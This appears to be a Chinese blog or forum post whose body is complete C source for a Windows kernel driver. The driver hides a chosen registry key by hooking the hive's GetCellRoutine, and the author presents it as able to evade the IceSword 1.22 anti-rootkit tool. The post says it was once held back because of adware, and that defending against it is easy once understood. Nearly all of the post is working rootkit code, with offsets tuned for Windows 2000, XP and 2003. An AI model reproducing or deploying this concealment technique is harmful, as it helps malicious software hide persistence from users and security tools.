一段隐藏注册表项的代码

发一段隐藏注册表项的驱动代码，可以过目前最新的IceSword1.22。

以前驱动开发网悬赏挑战IceSword时写的，不过最后没公开。那时流氓软件势头正劲，我可不想火上浇油。现在反流氓软件日渐成熟，也就没关系了。知道了原理，防御是非常容易的。

原理很简单，实现的代码也很短，啥都不用说，各位直接看示例代码吧。

#include  < ntddk.h >

#define  GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define  CM_KEY_INDEX_ROOT      0x6972          //  ir
#define  CM_KEY_INDEX_LEAF      0x696c          //  il
#define  CM_KEY_FAST_LEAF       0x666c          //  fl
#define  CM_KEY_HASH_LEAF       0x686c          //  hl

//  一些CM的数据结构，只列出用到的开头部分
#pragma pack( 1 )
typedef  struct  _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;                //  used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[ 2 ];      //  Stable and Volatile
       HANDLE SubKeyLists[ 2 ];      //  Stable and Volatile
        //  ...
} CM_KEY_NODE,  * PCM_KEY_NODE;

typedef  struct  _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[ 1 ];
} CM_KEY_INDEX,  * PCM_KEY_INDEX;

typedef  struct  _CM_KEY_BODY {
       ULONG Type;                 //  "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;          //  the owner process
       LIST_ENTRY KeyBodyList;  //  key_nodes using the same kcb
} CM_KEY_BODY,  * PCM_KEY_BODY;

typedef PVOID (__stdcall  * PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef  struct  _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
        //  ...
} HHIVE,  * PHHIVE;
#pragma pack()

//  需隐藏的主键名
WCHAR g_HideKeyName[]  =  L " //Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep " ;

PGET_CELL_ROUTINE g_pGetCellRoutine  =  NULL;
PGET_CELL_ROUTINE *  g_ppGetCellRoutine  =  NULL;

PCM_KEY_NODE g_HideNode  =  NULL;
PCM_KEY_NODE g_LastNode  =  NULL;

//  打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;

       RtlInitUnicodeString( & uKeyName, pwcsKeyName);
       InitializeObjectAttributes( & oa,  & uKeyName, OBJ_CASE_INSENSITIVE  |  OBJ_KERNEL_HANDLE, NULL, NULL);
       status  =  ZwOpenKey( & hKey, KEY_READ,  & oa);
        if  ( ! NT_SUCCESS(status))
       {
           DbgPrint( " ZwOpenKey Failed: %lx/n " , status);
            return  NULL;
       }

        return  hKey;
}

//  获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;

        if  (hKey  ==  NULL)  return  NULL;

        //  由Key句柄获取对象体
       status  =  ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode,  & KeyBody, NULL);
        if  ( ! NT_SUCCESS(status))
       {
           DbgPrint( " ObReferenceObjectByHandle Failed: %lx/n " , status);
            return  NULL;
       }

        //  对象体中含有KeyControlBlock
       KCB  =  KeyBody -> KeyControlBlock;
       DbgPrint( " KeyControlBlock = %lx/n " , KCB);

       ObDereferenceObject(KeyBody);

        return  KCB;
}

//  获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
        //  获取父键的节点
       PCM_KEY_NODE ParentNode  =  (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node -> Parent);
        //  获取子键的索引
       PCM_KEY_INDEX Index  =  (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode -> SubKeyLists[ 0 ]);

       DbgPrint( " ParentNode = %lx/nIndex = %lx/n " , ParentNode, Index);

        //  如果为根(二级)索引，获取最后一个索引
        if  (Index -> Signature  ==  CM_KEY_INDEX_ROOT)
       {
           Index  =  (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index -> List[Index -> Count - 1 ]);
           DbgPrint( " Index = %lx/n " , Index);
       }

        if  (Index -> Signature  ==  CM_KEY_FAST_LEAF  ||  Index -> Signature  ==  CM_KEY_HASH_LEAF)
       {
            //  快速叶索引(2k)或散列叶索引(XP/2k3)，返回最后的节点
            return  g_pGetCellRoutine(Hive, Index -> List[ 2 * (Index -> Count - 1 )]);
       }
        else
       {
            //  一般叶索引，返回最后的节点
            return  g_pGetCellRoutine(Hive, Index -> List[Index -> Count - 1 ]);
       }
}

//  GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
        //  调用原函数
       PVOID pRet  =  g_pGetCellRoutine(Hive, Cell);
        if  (pRet)
       {
            //  返回的是需要隐藏的节点
            if  (pRet  ==  g_HideNode)
           {
               DbgPrint( " GetCellRoutine(%lx, %08lx) = %lx/n " , Hive, Cell, pRet);
                //  查询、保存并返回其父键的最后一个子键的节点
               pRet  =  g_LastNode  =  (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint( " g_LastNode = %lx/n " , g_LastNode);
                //  隐藏的正是最后一个节点，返回空值
                if  (pRet  ==  g_HideNode) pRet  =  NULL;
           }
            //  返回的是先前保存的最后一个节点
            else   if  (pRet  ==  g_LastNode)
           {
               DbgPrint( " GetCellRoutine(%lx, %08lx) = %lx/n " , Hive, Cell, pRet);
                //  清空保存值，并返回空值
               pRet  =  g_LastNode  =  NULL;
           }
       }
        return  pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint( " DriverUnload()/n " );
        //  解除挂钩
        if  (g_ppGetCellRoutine)  * g_ppGetCellRoutine  =  g_pGetCellRoutine;
        return  STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;        //  KeyControlBlock->KeyHive
       ULONG KeyCellOffset;        //  KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;

       DbgPrint( " DriverEntry()/n " );

       pDrvObj -> DriverUnload  =  DriverUnload;

        //  查询BuildNumber
        if  (PsGetVersion(NULL, NULL,  & BuildNumber, NULL))  return  STATUS_NOT_SUPPORTED;
       DbgPrint( " BuildNumber = %d/n " , BuildNumber);

        //  KeyControlBlock结构各版本略有不同
        //  Cell的值一般小于0x80000000，而Hive正相反，以此来判断也可以
        switch  (BuildNumber)
       {
            case   2195 :      //  Win2000
               KeyHiveOffset  =   0xc ;
               KeyCellOffset  =   0x10 ;
                break ;
            case   2600 :      //  WinXP
            case   3790 :      //  Win2003
               KeyHiveOffset  =   0x10 ;
               KeyCellOffset  =   0x14 ;
                break ;
            default :
                return  STATUS_NOT_SUPPORTED;
       }

        //  打开需隐藏的键
       hKey  =  OpenKeyByName(g_HideKeyName);
        //  获取该键的KeyControlBlock
       KCB  =  GetKeyControlBlock(hKey);
        if  (KCB)
       {
            //  由KCB得到Hive
           PHHIVE Hive  =  (PHHIVE)GET_PTR(KCB, KeyHive);
            //  GetCellRoutine在KCB中，保存原地址
           g_ppGetCellRoutine  =   & Hive -> GetCellRoutine;
           g_pGetCellRoutine  =  Hive -> GetCellRoutine;
           DbgPrint( " GetCellRoutine = %lx/n " , g_pGetCellRoutine);
            //  获取需隐藏的节点并保存
           g_HideNode  =  (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
            //  挂钩GetCell例程
           Hive -> GetCellRoutine  =  MyGetCellRoutine;
       }
       ZwClose(hKey);

        return  STATUS_SUCCESS;
}